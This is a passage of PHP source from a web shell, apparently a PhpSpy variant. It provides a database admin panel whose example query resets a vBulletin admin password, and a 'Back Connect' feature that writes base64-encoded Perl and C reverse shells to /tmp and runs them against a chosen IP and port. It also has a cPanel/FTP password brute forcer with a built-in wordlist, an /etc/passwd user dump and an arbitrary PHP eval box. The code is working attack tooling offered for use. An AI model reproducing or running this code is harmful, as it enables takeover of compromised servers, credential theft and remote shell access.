{\r\n\t\t\t\$dbs[\$db['Database']] = \$db['Database'];\r\n\t\t}\r\n\t\tmakeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>\$dbs,'selected'=>\$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));\r\n\t\t\$tabledb = array();\r\n\t\tif (\$dbname) {\r\n\t\t\tp('<p>');\r\n\t\t\tp('Current dababase: <a href=\"javascript:moddbname(\\''.\$dbname.'\\');\">'.\$dbname.'</a>');\r\n\t\t\tif (\$tablename) {\r\n\t\t\t\tp(' | Current Table: <a href=\"javascript:settable(\\''.\$tablename.'\\');\">'.\$tablename.'</a> [ <a href=\"javascript:settable(\\''.\$tablename.'\\', \\'insert\\');\">Insert</a> | <a href=\"javascript:settable(\\''.\$tablename.'\\', \\'structure\\');\">Structure</a> | <a href=\"javascript:settable(\\''.\$tablename.'\\', \\'drop\\');\">Drop</a> ]');\r\n\t\t\t}\r\n\t\t\tp('</p>');\r\n\t\t\tmysql_select_db(\$dbname);\r\n\r\n\t\t\t\$getnumsql = '';\r\n\t\t\t\$runquery = 0;\r\n\t\t\tif (\$sql_query) {\r\n\t\t\t\t\$runquery = 1;\r\n\t\t\t}\r\n\t\t\t\$allowedit = 0;\r\n\t\t\tif (\$tablename && !\$sql_query) {\r\n\t\t\t\t\$sql_query = \"SELECT * FROM \$tablename\";\r\n\t\t\t\t\$getnumsql = \$sql_query;\r\n\t\t\t\t\$sql_query = \$sql_query.\" LIMIT \$start_limit, \$pagenum\";\r\n\t\t\t\t\$allowedit = 1;\r\n\t\t\t}\r\n\t\t\tp('<form action=\"'.\$self.'\" method=\"POST\">');\r\n\t\t\tp('<p><table width=\"200\" border=\"0\" cellpadding=\"0\" cellspacing=\"0\"><tr><td colspan=\"2\">Run SQL query/queries on database <font color=red><b>'.\$dbname.'</font></b>:<BR>Example VBB Password: <font color=red>vbateam</font><BR><font color=yellow>UPDATE `user` SET `password` = \\'69e53e5ab9536e55d31ff533aefc4fbe\\', salt = \\'p5T\\' WHERE `userid` = \\'1\\' </font>\r\n\t\t\t</td></tr><tr><td><textarea name=\"sql_query\" class=\"area\" style=\"width:600px;height:50px;overflow:auto;\">'.htmlspecialchars(\$sql_query,ENT_QUOTES).'</textarea></td><td style=\"padding:0 5px;\"><input class=\"bt\" style=\"height:50px;\" name=\"submit\" type=\"submit\" value=\"Query\" /></td></tr></table></p>');\r\n\t\t\tmakehide('tablename', \$tablename);\r\n\t\t\tmakehide('action','sqladmin');\r\n\t\t\tp(\$dbform);\r\n\t\t\tp('</form>');\r\n\t\t\tif (\$tablename || (\$runquery && \$sql_query)) {\r\n\t\t\t\tif (\$doing == 'structure') {\r\n\t\t\t\t\t\$result = q(\"SHOW COLUMNS FROM \$tablename\");\r\n\t\t\t\t\t\$rowdb = array();\r\n\t\t\t\t\twhile(\$row = mysql_fetch_array(\$result)) {\r\n\t\t\t\t\t\t\$rowdb[] = \$row;\r\n\t\t\t\t\t}\r\n\t\t\t\t\tp('<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\">');\r\n\t\t\t\t\tp('<tr class=\"head\">');\r\n\t\t\t\t\tp('<td>Field</td>');\r\n\t\t\t\t\tp('<td>Type</td>');\r\n\t\t\t\t\tp('<td>Null</td>');\r\n\t\t\t\t\tp('<td>Key</td>');\r\n\t\t\t\t\tp('<td>Default</td>');\r\n\t\t\t\t\tp('<td>Extra</td>');\r\n\t\t\t\t\tp('</tr>');\r\n\t\t\t\t\tforeach (\$rowdb as \$row) {\r\n\t\t\t\t\t\t\$thisbg = bg();\r\n\t\t\t\t\t\tp('<tr class=\"fout\" onmouseover=\"this.className=\\'focus\\';\" onmouseout=\"this.className=\\'fout\\';\">');\r\n\t\t\t\t\t\tp('<td>'.\$row['Field'].'</td>');\r\n\t\t\t\t\t\tp('<td>'.\$row['Type'].'</td>');\r\n\t\t\t\t\t\tp('<td>'.\$row['Null'].' </td>');\r\n\t\t\t\t\t\tp('<td>'.\$row['Key'].' </td>');\r\n\t\t\t\t\t\tp('<td>'.\$row['Default'].' </td>');\r\n\t\t\t\t\t\tp('<td>'.\$row['Extra'].' </td>');\r\n\t\t\t\t\t\tp('</tr>');\r\n\t\t\t\t\t}\r\n\t\t\t\t\ttbfoot();\r\n\t\t\t\t} elseif (\$doing == 'insert' || \$doing == 'edit') {\r\n\t\t\t\t\t\$result = q('SHOW COLUMNS FROM '.\$tablename);\r\n\t\t\t\t\twhile (\$row = mysql_fetch_array(\$result)) {\r\n\t\t\t\t\t\t\$rowdb[] = \$row;\r\n\t\t\t\t\t}\r\n\t\t\t\t\t\$rs = array();\r\n\t\t\t\t\tif (\$doing == 'insert') {\r\n\t\t\t\t\t\tp('<h2>Insert new line in '.\$tablename.' table »</h2>');\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tp('<h2>Update record in '.\$tablename.' table »</h2>');\r\n\t\t\t\t\t\t\$where = base64_decode(\$base64);\r\n\t\t\t\t\t\t\$result = q(\"SELECT * FROM \$tablename WHERE \$where LIMIT 1\");\r\n\t\t\t\t\t\t\$rs = mysql_fetch_array(\$result);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tp('<form method=\"post\" action=\"'.\$self.'\">');\r\n\t\t\t\t\tp(\$dbform);\r\n\t\t\t\t\tmakehide('action','sqladmin');\r\n\t\t\t\t\tmakehide('tablename',\$tablename);\r\n\t\t\t\t\tp('<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\">');\r\n\t\t\t\t\tforeach (\$rowdb as \$row) {\r\n\t\t\t\t\t\tif (\$rs[\$row['Field']]) {\r\n\t\t\t\t\t\t\t\$value = htmlspecialchars(\$rs[\$row['Field']]);\r\n\t\t\t\t\t\t} else {\r\n\t\t\t\t\t\t\t\$value = '';\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\$thisbg = bg();\r\n\t\t\t\t\t\tp('<tr class=\"fout\" onmouseover=\"this.className=\\'focus\\';\" onmouseout=\"this.className=\\'fout\\';\">');\r\n\t\t\t\t\t\tp('<td><b>'.\$row['Field'].'</b><br />'.\$row['Type'].'</td><td><textarea class=\"area\" name=\"insertsql['.\$row['Field'].']\" style=\"width:500px;height:60px;overflow:auto;\">'.\$value.'</textarea></td></tr>');\r\n\t\t\t\t\t}\r\n\t\t\t\t\tif (\$doing == 'insert') {\r\n\t\t\t\t\t\tp('<tr class=\"fout\"><td colspan=\"2\"><input class=\"bt\" type=\"submit\" name=\"insert\" value=\"Insert\" /></td></tr>');\r\n\t\t\t\t\t} else {\r\n\t\t\t\t\t\tp('<tr class=\"fout\"><td colspan=\"2\"><input class=\"bt\" type=\"submit\" name=\"update\" value=\"Update\" /></td></tr>');\r\n\t\t\t\t\t\tmakehide('base64', \$base64);\r\n\t\t\t\t\t}\r\n\t\t\t\t\tp('</table></form>');\r\n\t\t\t\t} else {\r\n\t\t\t\t\t\$querys = @explode(';',\$sql_query);\r\n\t\t\t\t\tforeach(\$querys as \$num=>\$query) {\r\n\t\t\t\t\t\tif (\$query) {\r\n\t\t\t\t\t\t\tp(\"<p><b>Query#{\$num} : \".htmlspecialchars(\$query,ENT_QUOTES).\"</b></p>\");\r\n\t\t\t\t\t\t\tswitch(qy(\$query))\r\n\t\t\t\t\t\t\t{\r\n\t\t\t\t\t\t\t\tcase 0:\r\n\t\t\t\t\t\t\t\t\tp('<h2>Error : '.mysql_error().'</h2>');\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\tcase 1:\r\n\t\t\t\t\t\t\t\t\tif (strtolower(substr(\$query,0,13)) == 'select * from') {\r\n\t\t\t\t\t\t\t\t\t\t\$allowedit = 1;\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\tif (\$getnumsql) {\r\n\t\t\t\t\t\t\t\t\t\t\$tatol = mysql_num_rows(q(\$getnumsql));\r\n\t\t\t\t\t\t\t\t\t\t\$multipage = multi(\$tatol, \$pagenum, \$page, \$tablename);\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\tif (!\$tablename) {\r\n\t\t\t\t\t\t\t\t\t\t\$sql_line = str_replace(array(\"\\r\", \"\\n\", \"\\t\"), array(' ', ' ', ' '), trim(htmlspecialchars(\$query)));\r\n\t\t\t\t\t\t\t\t\t\t\$sql_line = preg_replace(\"/\\/\\*[^(\\*\\/)]*\\*\\//i\", \" \", \$sql_line);\r\n\t\t\t\t\t\t\t\t\t\tpreg_match_all(\"/from\\s+`{0,1}([\\w]+)`{0,1}\\s+/i\",\$sql_line,\$matches);\r\n\t\t\t\t\t\t\t\t\t\t\$tablename = \$matches[1][0];\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\$result = q(\$query);\r\n\t\t\t\t\t\t\t\t\tp(\$multipage);\r\n\t\t\t\t\t\t\t\t\tp('<table border=\"0\" cellpadding=\"3\" cellspacing=\"0\">');\r\n\t\t\t\t\t\t\t\t\tp('<tr class=\"head\">');\r\n\t\t\t\t\t\t\t\t\tif (\$allowedit) p('<td>Action</td>');\r\n\t\t\t\t\t\t\t\t\t\$fieldnum = @mysql_num_fields(\$result);\r\n\t\t\t\t\t\t\t\t\tfor(\$i=0;\$i<\$fieldnum;\$i++){\r\n\t\t\t\t\t\t\t\t\t\t\$name = @mysql_field_name(\$result, \$i);\r\n\t\t\t\t\t\t\t\t\t\t\$type = @mysql_field_type(\$result, \$i);\r\n\t\t\t\t\t\t\t\t\t\t\$len = @mysql_field_len(\$result, \$i);\r\n\t\t\t\t\t\t\t\t\t\tp(\"<td nowrap>\$name<br><span>\$type(\$len)</span></td>\");\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\tp('</tr>');\r\n\t\t\t\t\t\t\t\t\twhile(\$mn = @mysql_fetch_assoc(\$result)){\r\n\t\t\t\t\t\t\t\t\t\t\$thisbg = bg();\r\n\t\t\t\t\t\t\t\t\t\tp('<tr class=\"fout\" onmouseover=\"this.className=\\'focus\\';\" onmouseout=\"this.className=\\'fout\\';\">');\r\n\t\t\t\t\t\t\t\t\t\t\$where = \$tmp = \$b1 = '';\r\n\t\t\t\t\t\t\t\t\t\tforeach(\$mn as \$key=>\$inside){\r\n\t\t\t\t\t\t\t\t\t\t\tif (\$inside) {\r\n\t\t\t\t\t\t\t\t\t\t\t\t\$where .= \$tmp.\$key.\"='\".addslashes(\$inside).\"'\";\r\n\t\t\t\t\t\t\t\t\t\t\t\t\$tmp = ' AND ';\r\n\t\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\t\$b1 .= '<td nowrap>'.html_clean(\$inside).' </td>';\r\n\t\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\t\t\$where = base64_encode(\$where);\r\n\t\t\t\t\t\t\t\t\t\tif (\$allowedit) p('<td nowrap><a href=\"javascript:editrecord(\\'edit\\', \\''.\$where.'\\', \\''.\$tablename.'\\');\">Edit</a> | <a href=\"javascript:editrecord(\\'del\\', \\''.\$where.'\\', \\''.\$tablename.'\\');\">Del</a></td>');\r\n\t\t\t\t\t\t\t\t\t\tp(\$b1);\r\n\t\t\t\t\t\t\t\t\t\tp('</tr>');\r\n\t\t\t\t\t\t\t\t\t\tunset(\$b1);\r\n\t\t\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t\t\t\ttbfoot();\r\n\t\t\t\t\t\t\t\t\tp(\$multipage);\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t\tcase 2:\r\n\t\t\t\t\t\t\t\t\t\$ar = mysql_affected_rows();\r\n\t\t\t\t\t\t\t\t\tp('<h2>affected rows : <b>'.\$ar.'</b></h2>');\r\n\t\t\t\t\t\t\t\t\tbreak;\r\n\t\t\t\t\t\t\t}\r\n\t\t\t\t\t\t}\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t} else {\r\n\t\t\t\t\$query = q(\"SHOW TABLE STATUS\");\r\n\t\t\t\t\$table_num = \$table_rows = \$data_size = 0;\r\n\t\t\t\t\$tabledb = array();\r\n\t\t\t\twhile(\$table = mysql_fetch_array(\$query)) {\r\n\t\t\t\t\t\$data_size = \$data_size + \$table['Data_length'];\r\n\t\t\t\t\t\$table_rows = \$table_rows + \$table['Rows'];\r\n\t\t\t\t\t\$table['Data_length'] = sizecount(\$table['Data_length']);\r\n\t\t\t\t\t\$table_num++;\r\n\t\t\t\t\t\$tabledb[] = \$table;\r\n\t\t\t\t}\r\n\t\t\t\t\$data_size = sizecount(\$data_size);\r\n\t\t\t\tunset(\$table);\r\n\t\t\t\tp('<table border=\"0\" cellpadding=\"0\" cellspacing=\"0\">');\r\n\t\t\t\tp('<form action=\"'.\$self.'\" method=\"POST\">');\r\n\t\t\t\tmakehide('action','sqladmin');\r\n\t\t\t\tp(\$dbform);\r\n\t\t\t\tp('<tr class=\"head\">');\r\n\t\t\t\tp('<td width=\"2%\" align=\"center\"><input name=\"chkall\" value=\"on\" type=\"checkbox\" onclick=\"CheckAll(this.form)\" /></td>');\r\n\t\t\t\tp('<td>Name</td>');\r\n\t\t\t\tp('<td>Rows</td>');\r\n\t\t\t\tp('<td>Data_length</td>');\r\n\t\t\t\tp('<td>Create_time</td>');\r\n\t\t\t\tp('<td>Update_time</td>');\r\n\t\t\t\tif (\$highver) {\r\n\t\t\t\t\tp('<td>Engine</td>');\r\n\t\t\t\t\tp('<td>Collation</td>');\r\n\t\t\t\t}\r\n\t\t\t\tp('</tr>');\r\n\t\t\t\tforeach (\$tabledb as \$key => \$table) {\r\n\t\t\t\t\t\$thisbg = bg();\r\n\t\t\t\t\tp('<tr class=\"fout\" onmouseover=\"this.className=\\'focus\\';\" onmouseout=\"this.className=\\'fout\\';\">');\r\n\t\t\t\t\tp('<td align=\"center\" width=\"2%\"><input type=\"checkbox\" name=\"table[]\" value=\"'.\$table['Name'].'\" /></td>');\r\n\t\t\t\t\tp('<td><a href=\"javascript:settable(\\''.\$table['Name'].'\\');\">'.\$table['Name'].'</a> [ <a href=\"javascript:settable(\\''.\$table['Name'].'\\', \\'insert\\');\">Insert</a> | <a href=\"javascript:settable(\\''.\$table['Name'].'\\', \\'structure\\');\">Structure</a> | <a href=\"javascript:settable(\\''.\$table['Name'].'\\', \\'drop\\');\">Drop</a> ]</td>');\r\n\t\t\t\t\tp('<td>'.\$table['Rows'].'</td>');\r\n\t\t\t\t\tp('<td>'.\$table['Data_length'].'</td>');\r\n\t\t\t\t\tp('<td>'.\$table['Create_time'].'</td>');\r\n\t\t\t\t\tp('<td>'.\$table['Update_time'].'</td>');\r\n\t\t\t\t\tif (\$highver) {\r\n\t\t\t\t\t\tp('<td>'.\$table['Engine'].'</td>');\r\n\t\t\t\t\t\tp('<td>'.\$table['Collation'].'</td>');\r\n\t\t\t\t\t}\r\n\t\t\t\t\tp('</tr>');\r\n\t\t\t\t}\r\n\t\t\t\tp('<tr class=fout>');\r\n\t\t\t\tp('<td> </td>');\r\n\t\t\t\tp('<td>Total tables: '.\$table_num.'</td>');\r\n\t\t\t\tp('<td>'.\$table_rows.'</td>');\r\n\t\t\t\tp('<td>'.\$data_size.'</td>');\r\n\t\t\t\tp('<td colspan=\"'.(\$highver ? 4 : 2).'\"> </td>');\r\n\t\t\t\tp('</tr>');\r\n\r\n\t\t\t\tp(\"<tr class=\\\"fout\\\"><td colspan=\\\"\".(\$highver ? 8 : 6).\"\\\"><input name=\\\"saveasfile\\\" value=\\\"1\\\" type=\\\"checkbox\\\" /> Save as file <input class=\\\"input\\\" name=\\\"path\\\" value=\\\"\".SA_ROOT.\$_SERVER['HTTP_HOST'].\"sql.gz\\\" type=\\\"text\\\" size=\\\"60\\\" /> <input class=\\\"bt\\\" type=\\\"submit\\\" name=\\\"downrar\\\" value=\\\"Export selection table\\\" /></td></tr>\");\r\n\t\t\t\tmakehide('doing','backupmysql');\r\n\t\t\t\tformfoot();\r\n\t\t\t\tp(\"</table>\");\r\n\t\t\t\tfr(\$query);\r\n\t\t\t}\r\n\t\t}\r\n\t}\r\n\ttbfoot();\r\n\t@mysql_close();\r\n}//end sql backup\r\n\r\n\r\nelseif (\$action == 'backconnect') {\r\n\t!\$yourip && \$yourip = \$_SERVER['REMOTE_ADDR'];\r\n\t!\$yourport && \$yourport = '12345';\r\n\t\$usedb = array('perl'=>'perl','c'=>'c');\r\n\r\n\t\$back_connect=\"IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj\".\r\n\t\t\"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR\".\r\n\t\t\"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT\".\r\n\t\t\"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI\".\r\n\t\t\"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi\".\r\n\t\t\"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl\".\r\n\t\t\"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\";\r\n\t\$back_connect_c=\"I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC\".\r\n\t\t\"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb\".\r\n\t\t\"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd\".\r\n\t\t\"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ\".\r\n\t\t\"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC\".\r\n\t\t\"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D\".\r\n\t\t\"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp\".\r\n\t\t\"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==\";\r\n\r\n\tif (\$start && \$yourip && \$yourport && \$use){\r\n\t\tif (\$use == 'perl') {\r\n\t\t\tcf('/tmp/angel_bc',\$back_connect);\r\n\t\t\t\$res = execute(which('perl').\" /tmp/angel_bc \$yourip \$yourport &\");\r\n\t\t} else {\r\n\t\t\tcf('/tmp/angel_bc.c',\$back_connect_c);\r\n\t\t\t\$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');\r\n\t\t\t@unlink('/tmp/angel_bc.c');\r\n\t\t\t\$res = execute(\"/tmp/angel_bc \$yourip \$yourport &\");\r\n\t\t}\r\n\t\tm(\"Now script try connect to \$yourip port \$yourport ...\");\r\n\t}\r\n\r\n\tformhead(array('title'=>'Back Connect'));\r\n\tmakehide('action','backconnect');\r\n\tp('<p>');\r\n\tp('Your IP:');\r\n\tmakeinput(array('name'=>'yourip','size'=>20,'value'=>\$yourip));\r\n\tp('Your Port:');\r\n\tmakeinput(array('name'=>'yourport','size'=>15,'value'=>\$yourport));\r\n\tp('Use:');\r\n\tmakeselect(array('name'=>'use','option'=>\$usedb,'selected'=>\$use));\r\n\tmakeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));\r\n\tp('</p>');\r\n\tformfoot();\r\n}//end backconnect window via NC\r\n\r\n// Brute\r\nelseif (\$action == 'brute') {\r\nformhead(array('title'=>'Brute Forcer'));\r\n\tmakehide('action','brute');\r\n\tmakehide('dir',\$brute);\r\n@ini_set('memory_limit', 1000000000000);\r\n\$connect_timeout=5;\r\n@set_time_limit(0);\r\n\$submit = \$_REQUEST['submit'];\r\n\$users = \$_REQUEST['users'];\r\n\$pass = \$_REQUEST['passwords'];\r\n\$target = \$_REQUEST['target'];\r\n\$option = \$_REQUEST['option'];\r\n\r\n\r\n\$passlist = \"123pass\r\n123!@#\r\n123admin\r\n123abc\r\n123456admin\r\n1234554321\r\n12344321\r\npass123\r\nadmin\r\nadmincp\r\nadministrator\r\nmatkhau\r\npassadmin\r\np@ssword\r\npassword\r\n012345\r\n123456\r\n1234567\r\n12345678\r\n123456789\r\n1234567890\r\n111111\r\n000000\r\n222222\r\n333333\r\n444444\r\n555555\r\n666666\r\n777777\r\n888888\r\n999999\r\n123123\r\n234234\r\n345345\r\n456456\r\n567567\r\n678678\r\n789789\r\n123321\r\n456654\r\n654321\r\n7654321\r\n87654321\r\n987654321\r\n0987654321\r\nadmin123\r\nadmin123456\r\nabcdef\r\nabcabc\r\n!@#!@#\r\n!@#\$%^\r\n!@#\$%^&*(\r\n!@#\$\$#@!\r\nabc123\r\nanhyeuem\r\niloveyou\r\nadmin\r\nadministrator\r\nadmincp\r\ncpanel\r\nadminx\r\nadmins\r\npassword\r\npasswords\r\npassw0rd\r\np@ssw0rd\r\np@ssword\r\nkhongco\r\n25251325\r\npassw0rds\";\r\nif(\$target == ''){\r\n\$target = 'localhost';\r\n}\r\nprint \" <div align='center'>\r\n<form method='post' style='border: 1px solid #000000'><br><br>\r\n<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='40%' bgColor=#303030 borderColorLight=#966117 border=1><tr><td>\r\n<b> Target : </font><input type='text' name='target' size='16' value= \$target style='border: font-family:tahoma; font-weight:bold;'></p></font></b></p>\r\n<div align='center'><br>\r\n<TABLE style='BORDER-COLLAPSE: collapse' cellSpacing=0 borderColorDark=#966117 cellPadding=5 width='50%' bgColor=#303030 borderColorLight=#966117 border=1>\r\n<tr>\r\n<td align='center'>\r\n<b>Username</b></td>\r\n<td>\r\n<p align='center'>\r\n<b>Password</b></td>\r\n</tr>\r\n</table>\r\n<p align='center'>\r\n<textarea rows='20' name='users' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>\";\r\n\$i = 0;\r\nwhile (\$i < 60000) {\r\n\r\n \$line = posix_getpwuid(\$i);\r\n if (!empty(\$line)) {\r\n\r\n while (list (\$key, \$vba_etcpwd) = each(\$line)){\r\n echo \"\".\$vba_etcpwd.\"\\n\";\r\n break;\r\n }\r\n\r\n }\r\n\r\n \$i++;\r\n}\r\necho \"\r\n</textarea>\r\n<textarea rows='20' name='passwords' cols='25' style='border: 2px solid #1D1D1D; background-color: #000000; color:#C0C0C0'>\$passlist</textarea><br>\r\n<br>\r\n<b>Options : </span><input name='option' value='cpanel' style='font-weight: 700;' checked type='radio'> cPanel\r\n<input name='option' value='ftp' style='font-weight: 700;' type='radio'> ftp ==> <input type='submit' value='Attack' name='submit' ></p>\r\n</td></tr></table></td></tr></form><p align= 'left'>\";\r\n?>\r\n<?php\r\nfunction ftp_check(\$host,\$user,\$pass,\$timeout){\r\n\$ch = curl_init();\r\ncurl_setopt(\$ch, CURLOPT_URL, \"ftp://\$host\");\r\ncurl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt(\$ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\r\ncurl_setopt(\$ch, CURLOPT_FTPLISTONLY, 1);\r\ncurl_setopt(\$ch, CURLOPT_USERPWD, \"\$user:\$pass\");\r\ncurl_setopt (\$ch, CURLOPT_CONNECTTIMEOUT, \$timeout);\r\ncurl_setopt(\$ch, CURLOPT_FAILONERROR, 1);\r\n\$data = curl_exec(\$ch);\r\nif ( curl_errno(\$ch) == 28 ) {\r\n\r\nprint \"<b> Error : Connection timed out , make confidence about validation of target !</b>\";\r\nexit;}\r\n\r\nelseif ( curl_errno(\$ch) == 0 ){\r\n\r\np(\"<b>[ blog24h@gmail.com ]# </b>\r\n<b> Attacking has been done! Username: <font color='#FF0000'> \$user </font> / Password:<font color='#FF0000'> \$pass </font> => <a href=http://\$user:\$pass@\$host:2082 target=_blank>Login</a></b><br>\");\r\n}\r\ncurl_close(\$ch);}\r\n\r\nfunction cpanel_check(\$host,\$user,\$pass,\$timeout){\r\n\$ch = curl_init();\r\ncurl_setopt(\$ch, CURLOPT_URL, \"http://\$host:2082\");\r\ncurl_setopt(\$ch, CURLOPT_RETURNTRANSFER, 1);\r\ncurl_setopt(\$ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);\r\ncurl_setopt(\$ch, CURLOPT_USERPWD, \"\$user:\$pass\");\r\ncurl_setopt (\$ch, CURLOPT_CONNECTTIMEOUT, \$timeout);\r\ncurl_setopt(\$ch, CURLOPT_FAILONERROR, 1);\r\n\$data = curl_exec(\$ch);\r\nif ( curl_errno(\$ch) == 28 ) {\r\nprint \"<b> Error : Connection timed out , make confidence about validation of target !</b>\";\r\nexit;}\r\nelseif ( curl_errno(\$ch) == 0 ){\r\n\r\np(\"<b>[ s4f3w3b@yahoo.com ]# </b><b>Attacking has been done!</a> Username: <font color='#FF0000'> \$user </font> / Password:<font color='#FF0000'> \$pass </font></b><br>\");}curl_close(\$ch);}\r\n\r\nif(isset(\$submit) && !empty(\$submit)){\r\n\r\n\$userlist = explode (\"\\n\" , \$users );\r\n\$passlist = explode (\"\\n\" , \$pass );\r\np('<b>[ s4f3w3b@yahoo.com ]# Attacking ...</font></b><br>');\r\nforeach (\$userlist as \$user) {\r\n\$_user = trim(\$user);\r\nforeach (\$passlist as \$password ) {\r\n\$_pass = trim(\$password);\r\nif(\$option == \"ftp\"){\r\nftp_check(\$target,\$_user,\$_pass,\$connect_timeout);\r\n}\r\nif (\$option == \"cpanel\")\r\n{\r\ncpanel_check(\$target,\$_user,\$_pass,\$connect_timeout);\r\n}\r\n}\r\n}\r\n}\r\n\r\n\tformfoot();\r\n}\r\n\r\n\r\n\r\n\r\n\r\n\r\nelseif (\$action == 'etcpwd') {\r\nformhead(array('title'=>'Get /etc/passwd'));\r\n\tmakehide('action','etcpwd');\r\n\tmakehide('dir',\$nowpath);\r\n\$i = 0;\r\n echo \"<p><br><textarea class=\\\"area\\\" id=\\\"phpcodexxx\\\" name=\\\"phpcodexxx\\\" cols=\\\"100\\\" rows=\\\"25\\\">\";\r\nwhile (\$i < 60000) {\r\n\r\n \$line = posix_getpwuid(\$i);\r\n if (!empty(\$line)) {\r\n\r\n while (list (\$key, \$vba_etcpwd) = each(\$line)){\r\n echo \"\".\$vba_etcpwd.\"\\n\";\r\n break;\r\n }\r\n\r\n }\r\n\r\n \$i++;\r\n}\r\n echo \"</textarea></p>\";\r\n\tformfoot();\r\n}\r\n\r\nelseif (\$action == 'eval') {\r\n\t\$phpcode = trim(\$phpcode);\r\n\tif(\$phpcode){\r\n\t\tif (!preg_match('#<\\?#si', \$phpcode)) {\r\n\t\t\t\$phpcode = \"<?php\\n\\n{\$phpcode}\\n\\n?>\";\r\n\t\t}\r\n\t\teval(\"?\".\">\$phpcode<?\");\r\n\t}\r\n\tformhead(array('title'=>'Eval PHP Code'));\r\n\tmakehide('action','eval');\r\n\tmaketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>\$phpcode));\r\n\tp('<p><a href=\"http://www.4ngel.net/phpspy/plugin/\" target=\"_blank\">Get plugins</a></p>');\r\n\tformfooter();\r\n}//end eval\r\n\r\nelseif (\$action == 'editfile') {\r\n\tif(file_exists(\$opfile)) {\r\n\t\t\$fp=@fopen(\$opfile,'r');\r\n\t\t\$contents=@fread(\$fp, filesize(\$opfile));\r\n\t\t@fclose(\$fp);\r\n\t\t\$contents=htmlspecialchars(\$contents);\r\n\t}\r\n\tformhead(array('title'=>'Create / Edit File'));\r\n\tmakehide('action','file');\r\n\tmakehide('dir',\$nowpath);\r\n\tmakeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>\$opfile,'newline'=>1));\r\n\tmaketext(array('title'=>'File Content','name'=>'filecontent','value'=>\$contents));\r\n\tformfooter();\r\n}//end editfile\r\n\r\nelseif (\$action == 'newtime') {\r\n\t\$opfilemtime = @filemtime(\$opfile);\r\n\t//\$time = strtotime(\"\$year-\$month-\$day \$hour:\$minute:\$second\");\r\n\t\$cachemonth = 